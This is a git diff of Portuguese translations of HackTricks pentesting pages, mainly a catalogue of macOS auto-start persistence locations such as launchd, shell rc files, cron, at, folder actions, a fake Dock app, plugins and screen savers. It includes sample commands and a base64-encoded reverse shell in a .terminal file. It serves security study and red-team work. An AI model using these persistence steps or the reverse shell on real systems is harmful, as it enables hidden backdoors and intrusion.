- Histórico de problemas de segurança devido à sua natureza irrestrita.
|
||||
* Vaza endereços do kernel, comprometendo potencialmente o KASLR.
|
||||
|
||||
#### **`/sys/kernel/security`**
|
||||
|
||||
* Abriga a interface `securityfs`, permitindo a configuração de Módulos de Segurança Linux como AppArmor.
|
||||
* O acesso pode permitir que um contêiner desative seu sistema MAC.
|
||||
|
||||
#### **`/sys/firmware/efi/vars` e `/sys/firmware/efi/efivars`**
|
||||
|
||||
* Expõe interfaces para interagir com variáveis EFI na NVRAM.
|
||||
* Má configuração ou exploração pode resultar em laptops inutilizáveis ou máquinas host iniciais.
|
||||
|
||||
#### **`/sys/kernel/debug`**
|
||||
|
||||
* `debugfs` oferece uma interface de depuração "sem regras" para o kernel.
|
||||
* Histórico de problemas de segurança devido à sua natureza irrestrita.
|
||||
|
||||
### Referências
|
||||
|
||||
## Referências
|
||||
* [https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts](https://0xn3va.gitbook.io/cheat-sheets/container/escaping/sensitive-mounts)
|
||||
* [Compreensão e Reforço de Contêineres Linux](https://research.nccgroup.com/wp-content/uploads/2020/07/ncc\_group\_understanding\_hardening\_linux\_containers-1-1.pdf)
|
||||
* [Abusando de Contêineres Linux Privilegiados e Não Privilegiados](https://www.nccgroup.com/globalassets/our-research/us/whitepapers/2016/june/container\_whitepaper.pdf)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras maneiras de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,16 +1,16 @@
|
|||
# Auto Inicialização no macOS
|
||||
# Auto Inicialização do macOS
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprenda hacking AWS do zero ao avançado com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Aprenda hacking AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Outras formas de apoiar o HackTricks:
|
||||
|
||||
* Se você deseja ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
|
||||
* Adquira [**produtos oficiais PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Adquira o [**swag oficial PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* **Compartilhe seus truques de hacking enviando PRs para os** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github.
|
||||
|
||||
</details>
|
||||
|
||||
|
@ -19,7 +19,7 @@ Esta seção é fortemente baseada na série de blogs [**Além dos bons e velhos
|
|||
## Bypass de Sandbox
|
||||
|
||||
{% hint style="success" %}
|
||||
Aqui você pode encontrar locais de inicialização úteis para **burlar a sandbox** que permite simplesmente executar algo **escrevendo em um arquivo** e **aguardando** por uma **ação muito comum**, um **determinado período de tempo** ou uma **ação que você normalmente pode realizar** de dentro de uma sandbox sem precisar de permissões de root.
|
||||
Aqui você pode encontrar locais de inicialização úteis para **burlar a sandbox** que permite simplesmente executar algo **escrevendo em um arquivo** e **aguardando** por uma **ação muito comum**, um **determinado tempo** ou uma **ação que você normalmente pode realizar** de dentro de uma sandbox sem precisar de permissões de root.
|
||||
{% endhint %}
|
||||
|
||||
### Launchd
|
||||
|
@ -46,7 +46,7 @@ Aqui você pode encontrar locais de inicialização úteis para **burlar a sandb
|
|||
* **`~/Library/LaunchDemons`**
|
||||
* **Gatilho**: Reentrada
|
||||
|
||||
#### Descrição e Exploração
|
||||
#### Descrição & Exploração
|
||||
|
||||
**`launchd`** é o **primeiro** **processo** executado pelo kernel do macOS na inicialização e o último a ser encerrado no desligamento. Ele sempre deve ter o **PID 1**. Esse processo irá **ler e executar** as configurações indicadas nos **plists** **ASEP** em:
|
||||
|
||||
|
@ -103,8 +103,8 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0001/](https://theevilbit.
|
|||
Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://theevilbit.github.io/beyond/beyond\_0018/)
|
||||
|
||||
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass do TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mas você precisa encontrar um aplicativo com um bypass do TCC que execute um shell que carregue esses arquivos
|
||||
* Bypass TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mas você precisa encontrar um aplicativo com um bypass TCC que execute um shell que carregue esses arquivos
|
||||
|
||||
#### Localizações
|
||||
|
||||
|
@ -130,7 +130,7 @@ Writeup (xterm): [https://theevilbit.github.io/beyond/beyond\_0018/](https://the
|
|||
|
||||
Ao iniciar um ambiente de shell como `zsh` ou `bash`, **certos arquivos de inicialização são executados**. Atualmente, o macOS usa `/bin/zsh` como shell padrão. Esse shell é acessado automaticamente quando o aplicativo Terminal é lançado ou quando um dispositivo é acessado via SSH. Embora `bash` e `sh` também estejam presentes no macOS, eles precisam ser explicitamente invocados para serem usados.
|
||||
|
||||
A página de manual do zsh, que pode ser lida com **`man zsh`**, tem uma descrição detalhada dos arquivos de inicialização.
|
||||
A página de manual do zsh, que podemos ler com **`man zsh`**, tem uma descrição detalhada dos arquivos de inicialização.
|
||||
```bash
|
||||
# Example executino via ~/.zshrc
|
||||
echo "touch /tmp/hacktricks" >> ~/.zshrc
|
||||
|
@ -138,7 +138,7 @@ echo "touch /tmp/hacktricks" >> ~/.zshrc
|
|||
### Aplicações Reabertas
|
||||
|
||||
{% hint style="danger" %}
|
||||
Configurar a exploração indicada e sair e entrar novamente ou até mesmo reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas)
|
||||
Configurar a exploração indicada e fazer logout e login ou até mesmo reiniciar não funcionou para mim para executar o aplicativo. (O aplicativo não estava sendo executado, talvez precise estar em execução quando essas ações são realizadas)
|
||||
{% endhint %}
|
||||
|
||||
**Descrição**: [https://theevilbit.github.io/beyond/beyond\_0021/](https://theevilbit.github.io/beyond/beyond\_0021/)
|
||||
|
@ -155,7 +155,7 @@ Configurar a exploração indicada e sair e entrar novamente ou até mesmo reini
|
|||
|
||||
Todas as aplicações a serem reabertas estão dentro do plist `~/Library/Preferences/ByHost/com.apple.loginwindow.<UUID>.plist`
|
||||
|
||||
Portanto, para fazer com que as aplicações reabertas iniciem a sua própria, você só precisa **adicionar seu aplicativo à lista**.
|
||||
Portanto, para fazer com que as aplicações reabram seu próprio aplicativo, você só precisa **adicionar seu aplicativo à lista**.
|
||||
|
||||
O UUID pode ser encontrado listando esse diretório ou com `ioreg -rd1 -c IOPlatformExpertDevice | awk -F'"' '/IOPlatformUUID/{print $4}'`
|
||||
|
||||
|
@ -238,7 +238,7 @@ Você pode adicionar isso a partir da linha de comando com:
|
|||
|
||||
#### Descrição e Exploração
|
||||
|
||||
Se você criar um script **`.terminal`** e o abrir, o aplicativo **Terminal** será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como TCC), seu comando será executado com esses privilégios especiais.
|
||||
Se você criar um script [**`.terminal`**](https://stackoverflow.com/questions/32086004/how-to-use-the-default-terminal-settings-when-opening-a-terminal-file-osx) e abri-lo, o aplicativo **Terminal** será automaticamente invocado para executar os comandos indicados nele. Se o aplicativo Terminal tiver alguns privilégios especiais (como TCC), seu comando será executado com esses privilégios especiais.
|
||||
|
||||
Experimente com:
|
||||
```bash
|
||||
|
@ -268,14 +268,20 @@ open /tmp/test.terminal
|
|||
# Use something like the following for a reverse shell:
|
||||
<string>echo -n "YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYxOw==" | base64 -d | bash;</string>
|
||||
```
|
||||
### Extensões de Áudio
|
||||
Poderia também usar as extensões **`.command`**, **`.tool`**, com conteúdo de scripts shell regulares e eles também serão abertos pelo Terminal.
|
||||
|
||||
{% hint style="danger" %}
|
||||
Se o terminal tiver **Acesso Total ao Disco**, ele será capaz de concluir essa ação (observe que o comando executado será visível em uma janela do terminal).
|
||||
{% endhint %}
|
||||
|
||||
### Plugins de Áudio
|
||||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0013/](https://theevilbit.github.io/beyond/beyond\_0013/)\
|
||||
Descrição: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](https://posts.specterops.io/audio-unit-plug-ins-896d3434a882)
|
||||
|
||||
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Pode obter acesso extra ao TCC
|
||||
* Você pode obter algum acesso extra ao TCC
|
||||
|
||||
#### Localização
|
||||
|
||||
|
@ -293,15 +299,15 @@ Descrição: [https://posts.specterops.io/audio-unit-plug-ins-896d3434a882](http
|
|||
|
||||
#### Descrição
|
||||
|
||||
De acordo com os relatórios anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
|
||||
De acordo com as descrições anteriores, é possível **compilar alguns plugins de áudio** e carregá-los.
|
||||
|
||||
### Extensões QuickLook
|
||||
### Plugins QuickLook
|
||||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevilbit.github.io/beyond/beyond\_0028/)
|
||||
|
||||
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
* Pode obter acesso extra ao TCC
|
||||
* Você pode obter algum acesso extra ao TCC
|
||||
|
||||
#### Localização
|
||||
|
||||
|
@ -313,11 +319,11 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0028/](https://theevil
|
|||
|
||||
#### Descrição & Exploração
|
||||
|
||||
As extensões QuickLook podem ser executadas quando você **aciona a visualização de um arquivo** (pressione a barra de espaço com o arquivo selecionado no Finder) e um **plugin que suporta esse tipo de arquivo** está instalado.
|
||||
Os plugins QuickLook podem ser executados quando você **aciona a visualização de um arquivo** (pressione a barra de espaço com o arquivo selecionado no Finder) e um **plugin que suporta esse tipo de arquivo** está instalado.
|
||||
|
||||
É possível compilar sua própria extensão QuickLook, colocá-la em uma das localizações anteriores para carregá-la e depois ir para um arquivo suportado e pressionar espaço para ativá-la.
|
||||
É possível compilar seu próprio plugin QuickLook, colocá-lo em uma das localizações anteriores para carregá-lo e depois ir para um arquivo suportado e pressionar espaço para ativá-lo.
|
||||
|
||||
### ~~Ganchos de Login/Logout~~
|
||||
### ~~Hooks de Login/Logout~~
|
||||
|
||||
{% hint style="danger" %}
|
||||
Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHook do root
|
||||
|
@ -333,7 +339,7 @@ Isso não funcionou para mim, nem com o LoginHook do usuário nem com o LogoutHo
|
|||
* Você precisa ser capaz de executar algo como `defaults write com.apple.loginwindow LoginHook /Users/$USER/hook.sh`
|
||||
* Localizado em `~/Library/Preferences/com.apple.loginwindow.plist`
|
||||
|
||||
Eles estão obsoletos, mas podem ser usados para executar comandos quando um usuário faz login.
|
||||
Eles são obsoletos, mas podem ser usados para executar comandos quando um usuário faz login.
|
||||
```bash
|
||||
cat > $HOME/hook.sh << EOF
|
||||
#!/bin/bash
|
||||
|
@ -380,7 +386,7 @@ Aqui você pode encontrar locais de inicialização úteis para **burlar a sandb
|
|||
#### Localização
|
||||
|
||||
* **`/usr/lib/cron/tabs/`, `/private/var/at/tabs`, `/private/var/at/jobs`, `/etc/periodic/`**
|
||||
* Root necessário para acesso direto de escrita. Root não é necessário se você puder executar `crontab <arquivo>`
|
||||
* Root necessário para acesso direto de escrita. Não é necessário ser root se você puder executar `crontab <arquivo>`
|
||||
* **Gatilho**: Depende do trabalho cron
|
||||
|
||||
#### Descrição e Exploração
|
||||
|
@ -398,7 +404,7 @@ ls -lR /usr/lib/cron/tabs/ /private/var/at/jobs /etc/periodic/
|
|||
```
|
||||
Aqui você pode encontrar os **trabalhos cron** regulares, os **trabalhos at** (não muito usados) e os **trabalhos periódicos** (principalmente usados para limpar arquivos temporários). Os trabalhos periódicos diários podem ser executados, por exemplo, com: `periodic daily`.
|
||||
|
||||
Para adicionar um **trabalho cron do usuário programaticamente**, é possível usar:
|
||||
Para adicionar um **trabalho cron de usuário programaticamente**, é possível usar:
|
||||
```bash
|
||||
echo '* * * * * /bin/bash -c "touch /tmp/cron3"' > /tmp/cron
|
||||
crontab /tmp/cron
|
||||
|
@ -431,23 +437,33 @@ EOF
|
|||
|
||||
chmod +x "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.sh"
|
||||
```
|
||||
## macOS Auto Start Locations
|
||||
## Locais de Inicialização Automática do macOS
|
||||
|
||||
### Launch Agents
|
||||
Existem várias maneiras pelas quais um aplicativo pode ser configurado para iniciar automaticamente quando um usuário fizer login no macOS. Esses são alguns dos locais comuns onde os aplicativos podem ser configurados para iniciar automaticamente:
|
||||
|
||||
Launch Agents are used to run processes when a user logs in. They are stored in `~/Library/LaunchAgents/` and `/Library/LaunchAgents/`.
|
||||
### Launch Agents e Launch Daemons
|
||||
|
||||
### Launch Daemons
|
||||
Os Launch Agents e Launch Daemons são usados para iniciar processos quando um usuário faz login no macOS ou quando o sistema é inicializado. Eles são configurados por meio de arquivos de propriedades de formato XML localizados em:
|
||||
|
||||
Launch Daemons are used to run processes at system startup. They are stored in `/Library/LaunchDaemons/`.
|
||||
- `/Library/LaunchAgents`
|
||||
- `/Library/LaunchDaemons`
|
||||
- `/System/Library/LaunchAgents`
|
||||
- `/System/Library/LaunchDaemons`
|
||||
- `~/Library/LaunchAgents`
|
||||
|
||||
### Login Items
|
||||
|
||||
Login Items are applications that open when a user logs in. They can be managed in `System Preferences > Users & Groups > Login Items`.
|
||||
Os Login Items são aplicativos ou scripts que são iniciados automaticamente quando um usuário faz login. Eles podem ser gerenciados nas preferências do sistema em "Usuários e Grupos" e em "Itens de Login".
|
||||
|
||||
### Startup Items
|
||||
### Profiles
|
||||
|
||||
Startup Items are legacy items that automatically launch when a user logs in. They are stored in `/Library/StartupItems/`.
|
||||
Os perfis de configuração do dispositivo podem ser usados para configurar aplicativos para iniciar automaticamente em dispositivos macOS gerenciados. Esses perfis são criados e implantados por um administrador de MDM (Mobile Device Management).
|
||||
|
||||
### Cron Jobs
|
||||
|
||||
Os Cron Jobs são tarefas agendadas que podem ser usadas para iniciar aplicativos automaticamente em horários específicos. Eles são configurados por meio do utilitário `cron` ou `launchd`.
|
||||
|
||||
Ao revisar e auditar esses locais de inicialização automática, os administradores de sistemas podem identificar e gerenciar quais aplicativos são iniciados automaticamente no macOS, garantindo a segurança e o desempenho do sistema.
|
||||
```bash
|
||||
cat > "$HOME/Library/Application Support/iTerm2/Scripts/AutoLaunch/a.py" << EOF
|
||||
#!/usr/bin/env python3
|
||||
|
@ -543,7 +559,7 @@ chmod +x "$HOME/Library/Application Support/xbar/plugins/a.sh"
|
|||
|
||||
#### Descrição
|
||||
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) atua como uma plataforma de automação para o **macOS**, utilizando a linguagem de script **LUA** para suas operações. Notavelmente, suporta a integração de código completo do AppleScript e a execução de scripts de shell, aprimorando significativamente suas capacidades de script.
|
||||
[**Hammerspoon**](https://github.com/Hammerspoon/hammerspoon) atua como uma plataforma de automação para o **macOS**, utilizando a linguagem de script **LUA** para suas operações. Notavelmente, ele suporta a integração de código completo do AppleScript e a execução de scripts de shell, aprimorando significativamente suas capacidades de script.
|
||||
|
||||
O aplicativo procura por um único arquivo, `~/.hammerspoon/init.lua`, e quando iniciado, o script será executado.
|
||||
```bash
|
||||
|
@ -563,7 +579,7 @@ EOF
|
|||
|
||||
* `~/Library/Application Support/BetterTouchTool/*`
|
||||
|
||||
Esta ferramenta permite indicar aplicativos ou scripts para executar quando alguns atalhos são pressionados. Um atacante pode configurar seu próprio atalho e ação para executar no banco de dados para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla).
|
||||
Esta ferramenta permite indicar aplicativos ou scripts para executar quando alguns atalhos são pressionados. Um atacante pode configurar seu próprio **atalho e ação para executar no banco de dados** para fazer com que ele execute código arbitrário (um atalho poderia ser apenas pressionar uma tecla).
|
||||
|
||||
### Alfred
|
||||
|
||||
|
@ -576,7 +592,7 @@ Esta ferramenta permite indicar aplicativos ou scripts para executar quando algu
|
|||
|
||||
* `???`
|
||||
|
||||
Permite criar fluxos de trabalho que podem executar código quando certas condições são atendidas. Potencialmente, é possível para um atacante criar um arquivo de fluxo de trabalho e fazer o Alfred carregá-lo (é necessário pagar pela versão premium para usar fluxos de trabalho).
|
||||
Permite criar fluxos de trabalho que podem executar código quando certas condições são atendidas. Potencialmente, é possível para um atacante criar um arquivo de fluxo de trabalho e fazer com que o Alfred o carregue (é necessário pagar pela versão premium para usar fluxos de trabalho).
|
||||
|
||||
### SSHRC
|
||||
|
||||
|
@ -585,7 +601,7 @@ Writeup: [https://theevilbit.github.io/beyond/beyond\_0006/](https://theevilbit.
|
|||
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mas o ssh precisa estar habilitado e em uso
|
||||
* Bypass do TCC: [✅](https://emojipedia.org/check-mark-button)
|
||||
* O SSH costuma ter acesso total ao disco
|
||||
* O SSH costuma ter acesso total ao FDA
|
||||
|
||||
#### Localização
|
||||
|
||||
|
@ -608,11 +624,11 @@ Por padrão, a menos que `PermitUserRC no` em `/etc/ssh/sshd_config`, quando um
|
|||
|
||||
### **Itens de Login**
|
||||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
Writeup: [https://theevilbit.github.io/beyond/beyond\_0003/](https://theevilbit.github.io/beyond/beyond\_0003/)
|
||||
|
||||
* Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
* Mas é necessário executar `osascript` com argumentos
|
||||
* Contorno TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
* Mas você precisa executar `osascript` com argumentos
|
||||
* Bypass TCC: [🔴](https://emojipedia.org/large-red-circle)
|
||||
|
||||
#### Localizações
|
||||
|
||||
|
@ -645,7 +661,7 @@ Os **itens de login** também podem ser indicados usando a API [SMLoginItemSetEn
|
|||
|
||||
(Verifique a seção anterior sobre Itens de Login, esta é uma extensão)
|
||||
|
||||
Se você armazenar um arquivo **ZIP** como um **Item de Login**, o **`Archive Utility`** o abrirá e se o zip, por exemplo, estiver armazenado em **`~/Library`** e contiver a pasta **`LaunchAgents/file.plist`** com uma backdoor, essa pasta será criada (não é por padrão) e o plist será adicionado para que na próxima vez que o usuário fizer login novamente, a **backdoor indicada no plist será executada**.
|
||||
Se você armazenar um arquivo **ZIP** como um **Item de Login**, o **`Archive Utility`** o abrirá e se o zip, por exemplo, estiver armazenado em **`~/Library`** e contiver a pasta **`LaunchAgents/file.plist`** com uma porta dos fundos, essa pasta será criada (não é por padrão) e o plist será adicionado para que na próxima vez que o usuário fizer login novamente, a **porta dos fundos indicada no plist será executada**.
|
||||
|
||||
Outra opção seria criar os arquivos **`.bash_profile`** e **`.zshenv`** dentro do diretório do usuário, então se a pasta LaunchAgents já existir, essa técnica ainda funcionaria.
|
||||
|
||||
|
@ -663,7 +679,7 @@ Artigo: [https://theevilbit.github.io/beyond/beyond\_0014/](https://theevilbit.g
|
|||
|
||||
#### **Descrição**
|
||||
|
||||
As tarefas `at` são projetadas para **agendar tarefas únicas** a serem executadas em horários específicos. Ao contrário dos cron jobs, as tarefas `at` são automaticamente removidas após a execução. É crucial observar que essas tarefas são persistentes através de reinicializações do sistema, o que as torna potenciais preocupações de segurança sob certas condições.
|
||||
As tarefas `at` são projetadas para **agendar tarefas únicas** a serem executadas em horários específicos. Ao contrário dos cron jobs, as tarefas `at` são automaticamente removidas após a execução. É crucial observar que essas tarefas são persistentes através dos reinícios do sistema, o que as torna potenciais preocupações de segurança sob certas condições.
|
||||
|
||||
Por **padrão**, elas estão **desabilitadas**, mas o usuário **root** pode **habilitá-las** com:
|
||||
```bash
|
||||
|
@ -727,9 +743,9 @@ O nome do arquivo contém a fila, o número do trabalho e o horário agendado pa
|
|||
|
||||
- `a` - esta é a fila
|
||||
- `0001a` - número do trabalho em hexadecimal, `0x1a = 26`
|
||||
- `019bdcd2` - tempo em hexadecimal. Representa os minutos passados desde o epoch. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 27 de abril de 2021, terça-feira 7:46:00`.
|
||||
- `019bdcd2` - horário em hexadecimal. Representa os minutos passados desde o epoch. `0x019bdcd2` é `26991826` em decimal. Se multiplicarmos por 60, obtemos `1619509560`, que é `GMT: 27 de abril de 2021, terça-feira 7:46:00`.
|
||||
|
||||
Se imprimirmos o arquivo de trabalho, encontramos que ele contém as mesmas informações que obtivemos usando `at -c`.
|
||||
Se imprimirmos o arquivo de trabalho, encontramos que ele contém a mesma informação que obtivemos usando `at -c`.
|
||||
|
||||
### Ações de Pasta
|
||||
|
||||
|
@ -739,7 +755,7 @@ Análise: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8
|
|||
- Útil para contornar a sandbox: [✅](https://emojipedia.org/check-mark-button)
|
||||
- Mas você precisa ser capaz de chamar `osascript` com argumentos para contatar **`System Events`** para poder configurar Ações de Pasta
|
||||
- Bypass TCC: [🟠](https://emojipedia.org/large-orange-circle)
|
||||
- Possui algumas permissões básicas do TCC como Desktop, Documentos e Downloads
|
||||
- Possui algumas permissões básicas do TCC como Desktop, Documents e Downloads
|
||||
|
||||
#### Localização
|
||||
|
||||
|
@ -751,7 +767,7 @@ Análise: [https://posts.specterops.io/folder-actions-for-persistence-on-macos-8
|
|||
|
||||
#### Descrição e Exploração
|
||||
|
||||
As Ações de Pasta são scripts acionados automaticamente por alterações em uma pasta, como adicionar, remover itens, ou outras ações como abrir ou redimensionar a janela da pasta. Essas ações podem ser utilizadas para várias tarefas e podem ser acionadas de diferentes maneiras, como usando a interface do Finder ou comandos no terminal.
|
||||
As Ações de Pasta são scripts acionados automaticamente por alterações em uma pasta, como adicionar, remover itens, ou outras ações como abrir ou redimensionar a janela da pasta. Essas ações podem ser utilizadas para várias tarefas e podem ser acionadas de diferentes maneiras, como usando a interface do Finder ou comandos de terminal.
|
||||
|
||||
Para configurar Ações de Pasta, você tem opções como:
|
||||
|
||||
|
@ -803,9 +819,9 @@ app.doShellScript("cp -R ~/Desktop /tmp/asd123");
|
|||
```
|
||||
{% endcode %}
|
||||
|
||||
Compilar com: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
Compile com: `osacompile -l JavaScript -o folder.scpt source.js`
|
||||
|
||||
Mover para:
|
||||
Mova para:
|
||||
```bash
|
||||
mkdir -p "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
mv /tmp/folder.scpt "$HOME/Library/Scripts/Folder Action Scripts"
|
||||
|
@ -829,7 +845,7 @@ Agora, vamos tentar preparar essa persistência sem acesso à GUI:
|
|||
Agora que temos um ambiente vazio
|
||||
|
||||
3. Copie o arquivo de backup: `cp /tmp/com.apple.FolderActionsDispatcher.plist ~/Library/Preferences/`
|
||||
4. Abra o aplicativo Folder Actions Setup.app para consumir essa configuração: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
4. Abra o aplicativo Folder Actions Setup para consumir essa configuração: `open "/System/Library/CoreServices/Applications/Folder Actions Setup.app/"`
|
||||
|
||||
{% hint style="danger" %}
|
||||
E isso não funcionou para mim, mas essas são as instruções do artigo:(
|
||||
|
@ -917,7 +933,7 @@ cp /Applications/Google\ Chrome.app/Contents/Resources/app.icns /tmp/Google\ Chr
|
|||
defaults write com.apple.dock persistent-apps -array-add '<dict><key>tile-data</key><dict><key>file-data</key><dict><key>_CFURLString</key><string>/tmp/Google Chrome.app</string><key>_CFURLStringType</key><integer>0</integer></dict></dict></dict>'
|
||||
killall Dock
|
||||
```
|
||||
### Selecionadores de Cores
|
||||
### Seletores de Cores
|
||||
|
||||
Descrição: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilbit.github.io/beyond/beyond\_0017/)
|
||||
|
||||
|
@ -930,15 +946,15 @@ Descrição: [https://theevilbit.github.io/beyond/beyond\_0017](https://theevilb
|
|||
|
||||
* `/Library/ColorPickers`
|
||||
* Requer privilégios de root
|
||||
* Gatilho: Usar o selecionador de cores
|
||||
* Gatilho: Usar o seletor de cores
|
||||
* `~/Library/ColorPickers`
|
||||
* Gatilho: Usar o selecionador de cores
|
||||
* Gatilho: Usar o seletor de cores
|
||||
|
||||
#### Descrição e Exploração
|
||||
|
||||
**Compile um** pacote de selecionador de cores com seu código (você poderia usar [**este, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na seção [Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`.
|
||||
**Compile um** pacote de seletor de cores com seu código (você pode usar [**este, por exemplo**](https://github.com/viktorstrate/color-picker-plus)) e adicione um construtor (como na seção [Protetor de Tela](macos-auto-start-locations.md#screen-saver)) e copie o pacote para `~/Library/ColorPickers`.
|
||||
|
||||
Então, quando o selecionador de cores for acionado, seu código também deve ser.
|
||||
Então, quando o seletor de cores for acionado, seu código também deve ser.
|
||||
|
||||
Observe que o binário que carrega sua biblioteca tem uma **sandbox muito restritiva**: `/System/Library/Frameworks/AppKit.framework/Versions/C/XPCServices/LegacyExternalColorPickerService-x86_64.xpc/Contents/MacOS/LegacyExternalColorPickerService-x86_64`
|
||||
|
||||
|
@ -965,7 +981,7 @@ Observe que o binário que carrega sua biblioteca tem uma **sandbox muito restri
|
|||
|
||||
* Um aplicativo específico
|
||||
|
||||
#### Descrição & Exploração
|
||||
#### Descrição e Exploração
|
||||
|
||||
Um exemplo de aplicativo com uma Extensão do Finder Sync [**pode ser encontrado aqui**](https://github.com/D00MFist/InSync).
|
||||
|
||||
|
@ -994,7 +1010,7 @@ Descrição: [https://posts.specterops.io/saving-your-access-d562bf5bf90b](https
|
|||
* `~/Library/Screen Savers`
|
||||
* **Gatilho**: Selecionar o protetor de tela
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt="" width="375"><figcaption></figcaption></figure>
|
||||
|
||||
#### Descrição e Exploração
|
||||
|
||||
|
@ -1111,9 +1127,9 @@ writeup: [https://theevilbit.github.io/beyond/beyond\_0011/](https://theevilbit.
|
|||
O Spotlight é o recurso de pesquisa integrado do macOS, projetado para fornecer aos usuários **acesso rápido e abrangente aos dados em seus computadores**.\
|
||||
Para facilitar essa capacidade de pesquisa rápida, o Spotlight mantém um **banco de dados proprietário** e cria um índice **analisando a maioria dos arquivos**, permitindo buscas rápidas tanto por nomes de arquivos quanto por seu conteúdo.
|
||||
|
||||
